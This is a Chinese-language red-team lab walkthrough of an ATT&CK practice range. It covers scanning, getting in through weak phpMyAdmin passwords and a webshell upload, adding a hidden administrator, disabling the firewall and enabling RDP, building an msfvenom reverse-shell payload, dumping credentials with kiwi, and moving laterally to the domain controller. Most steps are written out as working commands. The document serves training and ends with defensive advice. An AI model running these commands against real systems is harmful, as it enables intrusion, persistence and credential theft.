ATT&CK红队实战教学文档

环境搭建

靶机部署

1. 将仅主机模式IP网段改为192.168.52.0/24
2. 配置Win7靶机网络：
   • 本地连接网卡设置为DHCP
   • 本地连接5设置为静态IP（如无法获取IP可交换配置）

PHPStudy配置

1. 启动Apache服务：

   httpd.exe -k install
   httpd.exe -k -n apache2.4
   

2. 启动MySQL服务：
   • 进入C:\phpStudy\MySQL\bin
   • 执行：

     mysqld --defaults-file="C:/phpStudy/mysql/my.ini" --console --skip-grant-tables
     

3. 建议在此步骤创建系统快照

信息收集

端口扫描

1. 使用Nmap进行扫描：

   nmap -sS -P0 -sV -O 192.168.20.128
   nmap --min-rate 10000 -p- 192.168.20.128
   

2. 发现phpMyAdmin服务，尝试弱口令：
   • 用户名：root
   • 密码：root/123456

网页信息收集

1. 检查可能存在的漏洞：
   • 万能密码
   • SQL注入
   • 暴力破解
   • 弱口令
   • XSS漏洞
2. 查找敏感信息暴露

漏洞利用

YXCMS后台利用

1. 寻找文件上传点
2. 上传PHP文件（确保可执行）
3. 使用蚁剑连接
4. 检查当前用户权限

权限维持

用户管理

1. 添加隐藏用户：

   net user username password /add
   net localgroup administrators username /add
   

2. 防火墙配置：

   • 查看状态：netsh advfirewall show allprofiles
   • 关闭防火墙：netsh advfirewall set allprofiles state off
   • 开启防火墙：netsh advfirewall set allprofiles state on
   • 重置防火墙：netsh advfirewall reset
   • 添加RDP规则：

     netsh advfirewall firewall add rule name=RDP dir=in action=allow protocol=tcp localport=3389
     

3. 开启远程桌面：

   REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
   

   或

   wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
   

反弹Shell技术

方法1：PowerShell反弹

1. 生成payload：

   msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.142.128 LPORT=8888 -f psh-reflection > test.ps1
   

2. Kali监听：

   use exploit/multi/handler
   set payload windows/x64/meterpreter/reverse_tcp
   set LHOST 192.168.142.128
   set LPORT 8888
   run
   

3. 目标机执行：

   powershell -noexit "& ""C:\Users\admin\Desktop\test.ps1"""
   

方法2：蚁剑生成免杀木马

1. 使用蚁剑生成PHP木马
2. MSF监听：

   set payload php/meterpreter/reverse_tcp
   

权限提升

系统漏洞扫描

1. 收集系统信息：

   systeminfo > win_7.txt
   

2. 使用Windows-Exploit-Suggester：
   • 安装依赖：python2 -m pip install xlrd==1.2.0
   • 更新漏洞库：python2 windows-exploit-suggester.py --update
   • 扫描漏洞：

     python2 windows-exploit-suggester.py --database 2023-04-21-mssb.xls --systeminfo win_7.txt
     

MS16-014漏洞利用

1. 在MSF中搜索相关模块
2. 利用现有会话进行提权

密码抓取

1. 加载kiwi模块：

   load kiwi
   

2. 抓取密码：

   creds_all
   lsa_dump_secrets
   

内网渗透

内网扫描

1. 设置静态路由：

   run autoroute -s 192.168.52.0/24
   

2. 扫描内网主机：

   use scanner/netbios/nbname
   set RHOSTS 192.168.52.0/24
   run
   

3. 端口扫描：

   use auxiliary/scanner/portscan/tcp
   set RHOSTS 192.168.52.138,141
   set PORTS 80,445,3389
   run
   

Cobalt Strike上线

1. 生成payload
2. 设置监听器
3. 使用psexec进行横向移动

域控攻击

1. 使用抓取的域账户密码
2. 通过SMB监听建立隧道
3. 使用psexec横向移动到域控

注意事项

1. 密码缓存问题：域控密码修改后需重新登录所有成员以刷新缓存
2. 会话稳定性：建议建立稳定会话后退出远程连接
3. 权限维持：考虑多种权限维持方法，避免单一依赖
4. 操作隐蔽性：尽量降低对目标系统的影响，避免被发现

防御建议

1. 及时更新系统补丁
2. 禁用不必要的服务和端口
3. 加强账户密码策略
4. 监控异常网络行为
5. 定期审计系统日志